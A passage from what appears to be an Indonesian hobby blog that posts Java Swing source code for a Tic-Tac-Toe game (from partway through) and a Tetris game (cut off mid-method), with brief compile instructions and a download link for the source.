mnuAbout.addActionListener(this);
btn1v1.addActionListener(this);
btn1vCPU.addActionListener(this);
btnBack.addActionListener(this);

//Setting up the playing field
pnlPlayingField.setLayout(new GridLayout(3, 3, 2, 2));
pnlPlayingField.setBackground(Color.black);
for(int i=1; i<=9; i++) {
btnEmpty[i] = new JButton();
btnEmpty[i].setBackground(new Color(220, 220, 220));
btnEmpty[i].addActionListener(this);
pnlPlayingField.add(btnEmpty[i]);
}
//Adding everything needed to pnlNorth and pnlSouth
pnlNorth.add(mnuMain);
pnlSouth.add(lblTitle);

//Adding to window and Showing window
window.add(pnlNorth, BorderLayout.NORTH);
window.add(pnlSouth, BorderLayout.CENTER);
window.setVisible(true);
}

//-------------------START OF ACTION PERFORMED CLASS-------------------------//
public void actionPerformed(ActionEvent click) {
Object source = click.getSource();
for(int i=1; i<=9; i++) {
if(source == btnEmpty[i] && turn < 10) {
btnEmptyClicked = true;
if(!(turn % 2 == 0))
btnEmpty[i].setText("X");
else
btnEmpty[i].setText("O");
btnEmpty[i].setEnabled(false);
pnlPlayingField.requestFocus();
turn++;
}
}
if(btnEmptyClicked) {
checkWin();
btnEmptyClicked = false;
}
if(source == mnuNewGame) {
clearPanelSouth();
pnlSouth.setLayout(new GridLayout(2, 1, 2, 5));
pnlTop.add(pnlNewGame);
pnlBottom.add(btnBack);
pnlSouth.add(pnlTop);
pnlSouth.add(pnlBottom);

}
else if(source == btn1v1) {
if(inGame) {
int option = JOptionPane.showConfirmDialog(null, "If you start a new game," +
"your current game will be lost..." + "\n" +
"Are you sure you want to continue?",
"Quit Game?" ,JOptionPane.YES_NO_OPTION);
if(option == JOptionPane.YES_OPTION) {
inGame = false;
}
}
if(!inGame) {
btnEmpty[wonNumber1].setBackground(new Color(220, 220, 220));
btnEmpty[wonNumber2].setBackground(new Color(220, 220, 220));
btnEmpty[wonNumber3].setBackground(new Color(220, 220, 220));
turn = 1;
for(int i=1; i<10; i++) {
btnEmpty[i].setText("");
btnEmpty[i].setEnabled(true);
}
win = false;
showGame();

}
}
else if(source == btn1vCPU) {
JOptionPane.showMessageDialog(null, "Coming Soon!!");
}
else if(source == mnuExit) {
int option = JOptionPane.showConfirmDialog(null, "Are you sure you want to exit?",
"Exit Game" ,JOptionPane.YES_NO_OPTION);
if(option == JOptionPane.YES_OPTION)
System.exit(0);
}
else if(source == mnuInstruction || source == mnuAbout) {
clearPanelSouth();
String message = "";
txtMessage.setBackground(new Color(color, color, color));
if(source == mnuInstruction) {
message = "Instructions:\n\n" +
"Your goal is to be the first player to get 3 X's or O's in a\n" +
"row. (horizontally, diagonally, or vertically)";
} else {
message = "About:\n\n" +
"Title: Tic-Tac-Toe\n" +
"Author: Blmaster\n" +
"Version: " + VERSION + "\n";
}
txtMessage.setEditable(false);
txtMessage.setText(message);
pnlSouth.setLayout(new GridLayout(2, 1, 2, 5));
pnlTop.add(txtMessage);
pnlBottom.add(btnBack);
pnlSouth.add(pnlTop);
pnlSouth.add(pnlBottom);
}
else if(source == btnBack) {
if(inGame)
showGame();
else {
clearPanelSouth();
pnlSouth.setLayout(new FlowLayout(FlowLayout.CENTER));
pnlNorth.setVisible(true);
pnlSouth.add(lblTitle);
}
}
pnlSouth.setVisible(false);
pnlSouth.setVisible(true);
}
//-------------------END OF ACTION PERFORMED CLASS-------------------------//

/*
----------------------------------
Start of all the other methods. |
----------------------------------
*/
public void showGame() { // Shows the Playing Field
// *IMPORTANT*- Does not start out brand new (meaning just shows what it had before)
clearPanelSouth();
inGame = true;
pnlSouth.setLayout(new BorderLayout());
pnlSouth.add(pnlPlayingField, BorderLayout.CENTER);
pnlPlayingField.requestFocus();
}

public void checkWin() { // checks if there are 3 symbols in a row vertically, diagonally, or horizontally.
// then shows a message and disables buttons.
for(int i=0; i<7; i++) {
if(
!btnEmpty[winCombo[i][0]].getText().equals("") &&
btnEmpty[winCombo[i][0]].getText().equals(btnEmpty[winCombo[i][1]].getText()) &&
// if {1 == 2 && 2 == 3}
btnEmpty[winCombo[i][1]].getText().equals(btnEmpty[winCombo[i][2]].getText())
/*
The way this checks the if someone won is:
First: it checks if the btnEmpty[x] is not equal to an empty string- x being the array number
inside the multi-dementional array winCombo[checks inside each of the 7 sets][the first number]
Secong: it checks if btnEmpty[x] is equal to btnEmpty[y]- x being winCombo[each set][the first number]
y being winCombo[each set the same as x][the second number] (So basically checks if the first and
second number in each set is equal to each other)
Third: it checks if btnEmtpy[y] is eual to btnEmpty[z]- y being the same y as last time and z being
winCombo[each set as y][the third number]
Conclusion: So basically it checks if it is equal to the btnEmpty is equal to each set of numbers
*/
) {
win = true;
wonNumber1 = winCombo[i][0];
wonNumber2 = winCombo[i][1];
wonNumber3 = winCombo[i][2];
btnEmpty[wonNumber1].setBackground(Color.white);
btnEmpty[wonNumber2].setBackground(Color.white);
btnEmpty[wonNumber3].setBackground(Color.white);
break;
}
}
if(win || (!win && turn>9)) {
if(win) {
if(turn % 2 == 0)
message = "X has won!";
else
message = "O has won!";
win = false;
} else if(!win && turn>9) {
message = "Both players have tied!\nBetter luck next time.";
}
JOptionPane.showMessageDialog(null, message);
for(int i=1; i<=9; i++) {
btnEmpty[i].setEnabled(false);
}
}
}

public void clearPanelSouth() { //Removes all the possible panels
//that pnlSouth, pnlTop, pnlBottom
//could have.
pnlSouth.remove(lblTitle);
pnlSouth.remove(pnlTop);
pnlSouth.remove(pnlBottom);
pnlSouth.remove(pnlPlayingField);
pnlTop.remove(pnlNewGame);
pnlTop.remove(txtMessage);
pnlBottom.remove(btnBack);
}

public static void main(String[] args) {
new TicTacToe();// Calling the class construtor.
}
}


3. Save file yang sudah di bikin tadi dengan nama TicTacToe.java
4. Komfile file tersebut dengan CMD
5. SUKSES dehh gannn bikin games Mine menggunakan Java
Outputnya :



jangan lupa komentarnya ya gannn,,,
Salam sukses gannn

Link source code nya yang sudah jadi dan complite : http://www.mediafire.com/?8ebjbtkkyeks41y


Games Tetris

Hai Gan,,  hari ini saya ingin membuat games Mine dengan menggunakan java.

1. Pertama - tama kita buka aplikasi Notped ++

2. Copas coding dibawah ini ke Notped ++


Source Code :

    import java.awt.*;
    import java.awt.event.*;
     
    import javax.swing.*;
     
    public class Tetris extends JFrame implements KeyListener {
            int pos[] = {0,1};
            boolean bottom = false;
    int n = 20;
    int m = 10;
    JButton b[][];
    Color tmp[][] = new Color[m][n];
    int rand = 0;
    int centralx = 0;
    int centraly = 0;
    int deltax = 0;
    int perim[][] = new int[m+4][n+4];
    or[][][] prof = new or[4][4][7];
    Color rnd[] = {Color.red, Color.yellow, Color.cyan, Color.green, Color.white, Color.blue, Color.orange};
    int rowsclrd = 0;
    public Tetris(){
            for(int a = 0;a<4;a++){
                    for(int b = 0;b<4;b++){
                            for(int c = 0;c<7;c++){
                                    prof[a][b][c] = new or();
                            }
                    }
            }
            this.setDefaultCloseOperation(EXIT_ON_CLOSE);
            prof[0][0][0].x = -1;
            prof[0][1][0].x = 0;
            prof[0][2][0].x = 0;
            prof[0][3][0].x = 1;
            prof[1][0][0].x = 0;
            prof[1][1][0].x = 0;
            prof[1][2][0].x = -1;
            prof[1][3][0].x = -1;
            prof[2][0][0].x = 1;
            prof[2][1][0].x = 0;
            prof[2][2][0].x = 0;
            prof[2][3][0].x = -1;
            prof[3][0][0].x = 0;
            prof[3][1][0].x = 0;
            prof[3][2][0].x = 1;
            prof[3][3][0].x = 1;
            prof[0][0][1].x = -1;
            prof[0][1][1].x = -1;
            prof[0][2][1].x = 0;
            prof[0][3][1].x = 1;
            prof[1][0][1].x = -1;
            prof[1][1][1].x = 0;
            prof[1][2][1].x = 0;
            prof[1][3][1].x = 0;
            prof[2][0][1].x = 1;
            prof[2][1][1].x = 1;
            prof[2][2][1].x = 0;
            prof[2][3][1].x = -1;
            prof[3][0][1].x = 1;
            prof[3][1][1].x = 0;
            prof[3][2][1].x = 0;
            prof[3][3][1].x = 0;
            prof[0][0][2].x = -1;
            prof[0][1][2].x = 0;
            prof[0][2][2].x = 1;
            prof[0][3][2].x = 1;
            prof[1][0][2].x = 0;
            prof[1][1][2].x = 0;
            prof[1][2][2].x = 0;
            prof[1][3][2].x = -1;
            prof[2][0][2].x = 1;
            prof[2][1][2].x = 0;
            prof[2][2][2].x = -1;
            prof[2][3][2].x = -1;
            prof[3][0][2].x = 0;
            prof[3][1][2].x = 0;
            prof[3][2][2].x = 0;
            prof[3][3][2].x = 1;
            prof[0][0][3].x = -1;
            prof[0][1][3].x = 0;
            prof[0][2][3].x = 0;
            prof[0][3][3].x = 1;
            prof[1][0][3].x = -1;
            prof[1][1][3].x = -1;
            prof[1][2][3].x = 0;
            prof[1][3][3].x = 0;
            prof[2][0][3].x = 1;
            prof[2][1][3].x = 0;
            prof[2][2][3].x = 0;
            prof[2][3][3].x = -1;
            prof[3][0][3].x = 1;
            prof[3][1][3].x = 1;
            prof[3][2][3].x = 0;
            prof[3][3][3].x = 0;
            prof[0][0][4].x = -1;
            prof[0][1][4].x = 0;
            prof[0][2][4].x = 0;
            prof[0][3][4].x = 1;
            prof[1][0][4].x = 0;
            prof[1][1][4].x = 0;
            prof[1][2][4].x = -1;
            prof[1][3][4].x = 0;
            prof[2][0][4].x = 1;
            prof[2][1][4].x = 0;
            prof[2][2][4].x = 0;
            prof[2][3][4].x = -1;
            prof[3][0][4].x = 0;
            prof[3][1][4].x = 0;
            prof[3][2][4].x = 1;
            prof[3][3][4].x = 0;
            prof[0][0][5].x = 0;
            prof[0][1][5].x = 0;
            prof[0][2][5].x = 1;
            prof[0][3][5].x = 1;
            prof[1][0][5].x = 0;
            prof[1][1][5].x = 0;
            prof[1][2][5].x = 1;
            prof[1][3][5].x = 1;
            prof[2][0][5].x = 0;
            prof[2][1][5].x = 0;
            prof[2][2][5].x = 1;
            prof[2][3][5].x = 1;
            prof[3][0][5].x = 0;
            prof[3][1][5].x = 0;
            prof[3][2][5].x = 1;
            prof[3][3][5].x = 1;
            prof[0][0][6].x = -1;
            prof[0][1][6].x = 0;
            prof[0][2][6].x = 1;
            prof[0][3][6].x = 2;
            prof[1][0][6].x = 0;
            prof[1][1][6].x = 0;
            prof[1][2][6].x = 0;
            prof[1][3][6].x = 0;
            prof[2][0][6].x = 1;
            prof[2][1][6].x = 0;
            prof[2][2][6].x = -1;
            prof[2][3][6].x = -2;
            prof[3][0][6].x = 0;
            prof[3][1][6].x = 0;
            prof[3][2][6].x = 0;
            prof[3][3][6].x = 0;
            prof[0][0][0].y = 0;
            prof[0][1][0].y = 0;
            prof[0][2][0].y = 1;
            prof[0][3][0].y = 1;
            prof[1][0][0].y = -1;
            prof[1][1][0].y = 0;
            prof[1][2][0].y = 0;
            prof[1][3][0].y = 1;
            prof[2][0][0].y = 0;
            prof[2][1][0].y = 0;
            prof[2][2][0].y = -1;
            prof[2][3][0].y = -1;
            prof[3][0][0].y = 1;
            prof[3][1][0].y = 0;
            prof[3][2][0].y = 0;
            prof[3][3][0].y = -1;
            prof[0][0][1].y = 0;
            prof[0][1][1].y = 1;
            prof[0][2][1].y = 0;
            prof[0][3][1].y = 0;
            prof[1][0][1].y = -1;
            prof[1][1][1].y = -1;
            prof[1][2][1].y = 0;
            prof[1][3][1].y = 1;
            prof[2][0][1].y = -1;
            prof[2][1][1].y = 0;
            prof[2][2][1].y = 0;
            prof[2][3][1].y = 0;
            prof[3][0][1].y = 1;
            prof[3][1][1].y = 1;
            prof[3][2][1].y = 0;
            prof[3][3][1].y = -1;
            prof[0][0][2].y = 0;
            prof[0][1][2].y = 0;
            prof[0][2][2].y = 0;
            prof[0][3][2].y = 1;
            prof[1][0][2].y = -1;
            prof[1][1][2].y = 0;
            prof[1][2][2].y = 1;
            prof[1][3][2].y = 1;
            prof[2][0][2].y = 0;
            prof[2][1][2].y = 0;
            prof[2][2][2].y = 0;
            prof[2][3][2].y = -1;
            prof[3][0][2].y = 1;
            prof[3][1][2].y = 0;
            prof[3][2][2].y = -1;
            prof[3][3][2].y = -1;
            prof[0][0][3].y = 1;
            prof[0][1][3].y = 1;
            prof[0][2][3].y = 0;
            prof[0][3][3].y = 0;
            prof[1][0][3].y = -1;
            prof[1][1][3].y = 0;
            prof[1][2][3].y = 0;
            prof[1][3][3].y = 1;
            prof[2][0][3].y = -1;
            prof[2][1][3].y = -1;
            prof[2][2][3].y = 0;
            prof[2][3][3].y = 0;
            prof[3][0][3].y = 1;
            prof[3][1][3].y = 0;
            prof[3][2][3].y = 0;
            prof[3][3][3].y = -1;
            prof[0][0][4].y = 0;
            prof[0][1][4].y = 0;
            prof[0][2][4].y = 1;
            prof[0][3][4].y = 0;
            prof[1][0][4].y = -1;
            prof[1][1][4].y = 0;
            prof[1][2][4].y = 0;
            prof[1][3][4].y = 1;
            prof[2][0][4].y = 0;
            prof[2][1][4].y = 0;
            prof[2][2][4].y = -1;
            prof[2][3][4].y = 0;
            prof[3][0][4].y = 1;
            prof[3][1][4].y = 0;
            prof[3][2][4].y = 0;
            prof[3][3][4].y = -1;
            prof[0][0][5].y = 0;
            prof[0][1][5].y = 1;
            prof[0][2][5].y = 0;
            prof[0][3][5].y = 1;
            prof[1][0][5].y = 0;
            prof[1][1][5].y = 1;
            prof[1][2][5].y = 0;
            prof[1][3][5].y = 1;
            prof[2][0][5].y = 0;
            prof[2][1][5].y = 1;
            prof[2][2][5].y = 0;
            prof[2][3][5].y = 1;
            prof[3][0][5].y = 0;
            prof[3][1][5].y = 1;
            prof[3][2][5].y = 0;
            prof[3][3][5].y = 1;
            prof[0][0][6].y = 0;
            prof[0][1][6].y = 0;
            prof[0][2][6].y = 0;
            prof[0][3][6].y = 0;
            prof[1][0][6].y = -1;
            prof[1][1][6].y = 0;
            prof[1][2][6].y = 1;
            prof[1][3][6].y = 2;
            prof[2][0][6].y = 0;
            prof[2][1][6].y = 0;
            prof[2][2][6].y = 0;
            prof[2][3][6].y = 0;
            prof[3][0][6].y = -1;
            prof[3][1][6].y = 0;
            prof[3][2][6].y = 1;
            prof[3][3][6].y = 2;
            for (int y = 0;y<2;y++){
            for (int x = 0;x<m+4;x++){
            perim[x][y]= 1;
            }}
            for (int y = n+2;y<n+4;y++){
                    for (int x = 0;x<m+4;x++){
                    perim[x][y]= 4;
                    }}
            for (int y = 2;y<n+2;y++){
                    for (int x = 0;x<2;x++){
                    perim[x][y]= 2;
                    }}
            for (int y = 2;y<n+2;y++){
                    for (int x = m+2;x<m+4;x++){
                    perim[x][y]= 2;
                    }}
            for(int y = 0;y<n+4;y++){
                    for (int x = 0;x<m+4;x++){
                            System.out.print(perim[x][y]);
                    }
                    System.out.println("");
            }
                b = new JButton [m][n];
                setLayout(new GridLayout(n,m));//Grid layouts x and y are SWAPPED!
                for (int y = 0;y<n;y++){
                    for (int x = 0;x<m;x++){
                            b[x][y] = new JButton(" ");
                            tmp[x][y] = Color.DARK_GRAY;
                            b[x][y].setBackground(Color.DARK_GRAY);
                            add(b[x][y]);
                            b[x][y].setEnabled(true);
                    }//end inner for
            }
                setFocusable(true);
                addKeyListener(this);
                pack();
                setVisible(true);
                blockgen();
               
               
        }//end constructor Mine()
     
            class or {
                    int x;
                    int y;
            }
     
            public void blockgen(){
                    Component temporaryLostComponent = null;
                    pos[0] = 0;
                    pos[1] = 1;
                    rand = (int) (Math.floor(Math.random()*7+1));
            centralx = 4;
            centraly = 0;
             System.out.print(rand);
                    if ((b[4+prof[pos[0]][0][rand-1].x][prof[pos[0]][0][rand-1].y].getBackground() == Color.DARK_GRAY) &&
                    (b[4+prof[pos[0]][1][rand-1].x][prof[pos[0]][1][rand-1].y].getBackground() == Color.DARK_GRAY) &&
                    (b[4+prof[pos[0]][2][rand-1].x][prof[pos[0]][2][rand-1].y].getBackground() == Color.DARK_GRAY) &&
                    (b[4+prof[pos[0]][3][rand-1].x][prof[pos[0]][3][rand-1].y].getBackground() == Color.DARK_GRAY)){
                    b[4+prof[pos[0]][0][rand-1].x][prof[pos[0]][0][rand-1].y].setBackground(rnd[rand-1]);
                    b[4+prof[pos[0]][1][rand-1].x][prof[pos[0]][1][rand-1].y].setBackground(rnd[rand-1]);
                    b[4+prof[pos[0]][2][rand-1].x][prof[pos[0]][2][rand-1].y].setBackground(rnd[rand-1]);
                    b[4+prof[pos[0]][3][rand-1].x][prof[pos[0]][3][rand-1].y].setBackground(rnd[rand-1]);
            go();
                    } else {
                            JOptionPane.showMessageDialog(temporaryLostComponent, "Game Over! You cleared "+rowsclrd+" rows, well done!");
                System.exit(0);
                    }
            }
           
            public void rotate(){
                    if (pos[0] < 3){
                            pos[1] = pos[0];
                    pos[0]++;
                    } else if (pos[0] == 3){
                            pos[0] = 0;
                            pos[1] = 3;
                    } else {
                            System.out.println("error");
                    }
                    if ((perim[2+centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y+2] != 4) && (perim[2+centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y+2] != 1) && (perim[2+centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y+2] != 2) && (perim[2+centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y+2] != 3)
                             && (perim[centralx+2+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y+2] != 4) && (perim[centralx+2+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y+2] != 1) && (perim[centralx+2+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y+2] != 2) && (perim[centralx+2+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y+2] != 3)
                             && (perim[centralx+2+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y+2] != 4) && (perim[centralx+2+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y+2] != 1) && (perim[centralx+2+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y+2] != 2) && (perim[centralx+2+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y+2] != 3)
                             && (perim[centralx+prof[pos[0]][3][rand-1].x+2][centraly+prof[pos[0]][3][rand-1].y+2] != 4) && (perim[centralx+prof[pos[0]][3][rand-1].x+2][centraly+prof[pos[0]][3][rand-1].y+2] != 1) && (perim[centralx+prof[pos[0]][3][rand-1].x+2][centraly+prof[pos[0]][3][rand-1].y+2] != 2) && (perim[centralx+prof[pos[0]][3][rand-1].x+2][centraly+prof[pos[0]][3][rand-1].y+2] != 3)){
                     b[centralx+prof[pos[1]][0][rand-1].x][centraly+prof[pos[1]][0][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[1]][1][rand-1].x][centraly+prof[pos[1]][1][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[1]][2][rand-1].x][centraly+prof[pos[1]][2][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[1]][3][rand-1].x][centraly+prof[pos[1]][3][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+(prof[pos[0]][0][rand-1].x)][centraly+(prof[pos[0]][0][rand-1].y)].setBackground(rnd[rand-1]);
                        b[centralx+(prof[pos[0]][1][rand-1].x)][centraly+(prof[pos[0]][1][rand-1].y)].setBackground(rnd[rand-1]);
                        b[centralx+(prof[pos[0]][2][rand-1].x)][centraly+(prof[pos[0]][2][rand-1].y)].setBackground(rnd[rand-1]);
                        b[centralx+(prof[pos[0]][3][rand-1].x)][centraly+(prof[pos[0]][3][rand-1].y)].setBackground(rnd[rand-1]);
                    } else {
                            if (pos[1] > 0){
                                    pos[0] = pos[1];
                                    pos[1]--;
                            } else if (pos[1] == 0){
                                    pos[0] = 0;
                                    pos[1] = 3;                             }
                            }
            }
           
           
            public int getxs(){
                       int xs = 0;
                       int[] xf = {-1, -1, -1, -1};
                       for (int d = 0;d<4;d++){
                               if ((xf[0] != prof[pos[0]][d][rand-1].x) || (xf[1] != prof[pos[0]][d][rand-1].x) || (xf[2] != prof[pos[0]][d][rand-1].x) || (xf[3] != prof[pos[0]][d][rand-1].x)){
                                       xf[d] = prof[pos[0]][d][rand-1].x;
                               }
                       }
                       for (int d = 0;d<4;d++){
                               if (xf[d] != -1){
                                       xs++;
                               }
                       }
                       return xs;
            }
           
           
       public void movedown(){
               int[] m2 = {-1, -1, -1, -1};
               int[] m1 = {-1, -1, -1, -1};
               int[] zero = {-1, -1, -1, -1};
               int[] one = {-1, -1, -1, -1};
               int[] two = {-1, -1, -1, -1};
                    for (int d = 0;d<4;d++){
                            if (prof[pos[0]][d][rand-1].x == -2){
                                    m2[d] = d;
                            } else if (prof[pos[0]][d][rand-1].x == -1){
                                    m1[d] = d;
                            } else if (prof[pos[0]][d][rand-1].x == 0){
                                    zero[d] = d;
                            } else if (prof[pos[0]][d][rand-1].x == 1){
                                    one[d] = d;
                            } else if (prof[pos[0]][d][rand-1].x == 2){
                                    two[d] = d;
                            }
                    }
                    int tmpm2 = -5;
                    int tmpm1 = -5;
                    int tmpzero = -5;
                    int tmpone = -5;
                    int tmptwo = -5;
                    for (int d = 0;d<4;d++){
                            if (m2[d] != -1){
                                    if (tmpm2<prof[pos[0]][m2[d]][rand-1].y){
                                    tmpm2 = prof[pos[0]][m2[d]][rand-1].y;
                                    }
                            }
                            if (m1[d] != -1){
                                    if (tmpm1<prof[pos[0]][m1[d]][rand-1].y){
                                    tmpm1 = prof[pos[0]][m1[d]][rand-1].y;
                            }
                            }
                            if (zero[d] != -1){
                                    if (tmpzero<prof[pos[0]][zero[d]][rand-1].y){
                                    tmpzero = prof[pos[0]][zero[d]][rand-1].y;
                            }
                            }
                            if (one[d] != -1){
                                    if (tmpone<prof[pos[0]][one[d]][rand-1].y){
                                    tmpone = prof[pos[0]][one[d]][rand-1].y;
                            }
                            }
                            if (two[d] != -1){
                                    if (tmptwo<prof[pos[0]][two[d]][rand-1].y){
                                    tmptwo = prof[pos[0]][two[d]][rand-1].y;
                            }
                            }
                    }
                    int total = 0;
                    for (int d = 0;d<4;d++){
                            if (prof[pos[0]][d][rand-1].x == -2){
                                    if (perim[2+centralx+-2][2+centraly+tmpm2+1] != 4){
                                            if(b[centralx+-2][centraly+tmpm2+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].x == -1){
                                    if (perim[2+centralx+-1][2+centraly+tmpm1+1] != 4){
                                                    if (b[centralx+-1][centraly+tmpm1+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].x == 0){
                                    if (perim[2+centralx][2+centraly+tmpzero+1] != 4){
                                                    if (b[centralx][centraly+tmpzero+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].x == 1){
                                    if (perim[2+centralx+1][2+centraly+tmpone+1] != 4){
                                                    if (b[centralx+1][centraly+tmpone+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].x == 2){
                                    if (perim[2+centralx+2][2+centraly+tmptwo+1] != 4){
                                            if (b[centralx+2][centraly+tmptwo+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            }
                    }
                     if (total == 4){
                              b[centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y].setBackground(Color.DARK_GRAY);
                        b[centralx+prof[pos[0]][3][rand-1].x][centraly+prof[pos[0]][3][rand-1].y].setBackground(Color.DARK_GRAY);
                            centraly++;
                            b[centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y].setBackground(rnd[rand-1]);
                        b[centralx+prof[pos[0]][1][rand-1].x][centraly+prof[pos[0]][1][rand-1].y].setBackground(rnd[rand-1]);
                        b[centralx+prof[pos[0]][2][rand-1].x][centraly+prof[pos[0]][2][rand-1].y].setBackground(rnd[rand-1]);
                        b[centralx+prof[pos[0]][3][rand-1].x][centraly+prof[pos[0]][3][rand-1].y].setBackground(rnd[rand-1]);
                      } else {
                   
    bottom = true;
                             }
                     }
               
     
       
       public void go(){
               do{
               try {
                    Thread.sleep(1000L);
            } catch (InterruptedException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
            }
               movedown();
               rowcheck();
       }
       while(bottom == false);
               bottom = false;
               blockgen();
               }
       
       public void rowcheck(){
               int row = 0;
               for (int y = 0;y<20;y++){
                       for (int x = 0;x<10;x++){
                               if (b[x][y].getBackground() != Color.DARK_GRAY){
                                       row++;
                               }
                               if (row == 10){
                                       rowsclrd++;
                                       rowclear(y);                            
                               }
                       }
                       row = 0;
               }
       }
       
       public void rowclear(int y){
               int inc = 0;
               for (int x = 0;x<10;x++){
                       b[x][y].setBackground(Color.DARK_GRAY);
               }
               for (int c = y-1;c>-1;c--){
           for (int x = 0;x<10;x++){
               tmp[x][y-inc] = b[x][c].getBackground();
           }inc++;}
               for (int c = y;c>-1;c--){
                       for (int x = 0;x<10;x++){
                               b[x][c].setBackground(tmp[x][c]);
                       }
               }
       }
       
       public void movelr(){                 
               int[] m2 = {-1, -1, -1, -1};
               int[] m1 = {-1, -1, -1, -1};
               int[] zero = {-1, -1, -1, -1};
               int[] one = {-1, -1, -1, -1};
               int[] two = {-1, -1, -1, -1};
                    for (int d = 0;d<4;d++){
                            if (prof[pos[0]][d][rand-1].y == -2){
                                    m2[d] = d;
                            } else if (prof[pos[0]][d][rand-1].y == -1){
                                    m1[d] = d;
                            } else if (prof[pos[0]][d][rand-1].y == 0){
                                    zero[d] = d;
                            } else if (prof[pos[0]][d][rand-1].y == 1){
                                    one[d] = d;
                            } else if (prof[pos[0]][d][rand-1].y == 2){
                                    two[d] = d;
                            }
                    }
                            int tmpm2 = -5;
                            int tmpm1 = -5;
                            int tmpzero = -5;
                            int tmpone = -5;
                            int tmptwo = -5;
                    if (deltax == 1){
                    for (int d = 0;d<4;d++){
                            if (m2[d] != -1){
                                    if (tmpm2<prof[pos[0]][m2[d]][rand-1].x){
                                    tmpm2 = prof[pos[0]][m2[d]][rand-1].x;
                                    }
                            }
                            if (m1[d] != -1){
                                    if (tmpm1<prof[pos[0]][m1[d]][rand-1].x){
                                    tmpm1 = prof[pos[0]][m1[d]][rand-1].x;
                            }
                            }
                            if (zero[d] != -1){
                                    if (tmpzero<prof[pos[0]][zero[d]][rand-1].x){
                                    tmpzero = prof[pos[0]][zero[d]][rand-1].x;
                            }
                            }
                            if (one[d] != -1){
                                    if (tmpone<prof[pos[0]][one[d]][rand-1].x){
                                    tmpone = prof[pos[0]][one[d]][rand-1].x;
                            }
                            }
                            if (two[d] != -1){
                                    if (tmptwo<prof[pos[0]][two[d]][rand-1].x){
                                    tmptwo = prof[pos[0]][two[d]][rand-1].x;
                            }
                            }
                    }
                    } else if (deltax == -1){
                            tmpm2 = 5;
                            tmpm1 = 5;
                            tmpzero = 5;
                            tmpone = 5;
                            tmptwo = 5;
                            for (int d = 0;d<4;d++){
                                    if (m2[d] != -1){
                                            if (tmpm2>prof[pos[0]][m2[d]][rand-1].x){
                                            tmpm2 = prof[pos[0]][m2[d]][rand-1].x;
                                            }
                                    }
                                    if (m1[d] != -1){
                                            if (tmpm1>prof[pos[0]][m1[d]][rand-1].x){
                                            tmpm1 = prof[pos[0]][m1[d]][rand-1].x;
                                    }
                                    }
                                    if (zero[d] != -1){
                                            if (tmpzero>prof[pos[0]][zero[d]][rand-1].x){
                                            tmpzero = prof[pos[0]][zero[d]][rand-1].x;
                                    }
                                    }
                                    if (one[d] != -1){
                                            if (tmpone>prof[pos[0]][one[d]][rand-1].x){
                                            tmpone = prof[pos[0]][one[d]][rand-1].x;
                                    }
                                    }
                                    if (two[d] != -1){
                                            if (tmptwo>prof[pos[0]][two[d]][rand-1].x){
                                            tmptwo = prof[pos[0]][two[d]][rand-1].x;
                                    }
                                    }
                            }
                    }
                    int total = 0;
                    for (int d = 0;d<4;d++){
                            if (prof[pos[0]][d][rand-1].y == -2){
                                    if (perim[2+centralx+deltax+tmpm2][2+centraly-2] != 2){
                                            if(b[centralx+deltax+tmpm2][centraly-2].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].y == -1){
                                    if (perim[2+centralx+deltax+tmpm1][2+centraly-1] != 2){
                                                    if (b[centralx+deltax+tmpm1][centraly-1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].y == 0){
                                    if (perim[2+centralx+deltax+tmpzero][2+centraly] != 2){
                                                    if (b[centralx+deltax+tmpzero][centraly].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].y == 1){
                                    if (perim[2+centralx+deltax+tmpone][2+centraly+1] != 2){
                                                    if (b[centralx+deltax+tmpone][centraly+1].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            } else if (prof[pos[0]][d][rand-1].y == 2){
                                    if (perim[2+centralx+deltax+tmptwo][2+centraly+2] != 2){
                                            if (b[centralx+deltax+tmptwo][centraly+2].getBackground() == Color.DARK_GRAY){
                                            total++;
                                    }}
                            }
                    } if (total == 4){
                                            b[centralx+prof[pos[0]][0][rand-1].x][centraly+prof[pos[0]][0][rand-1].y].setBackground(Color.DARK_GRAY);
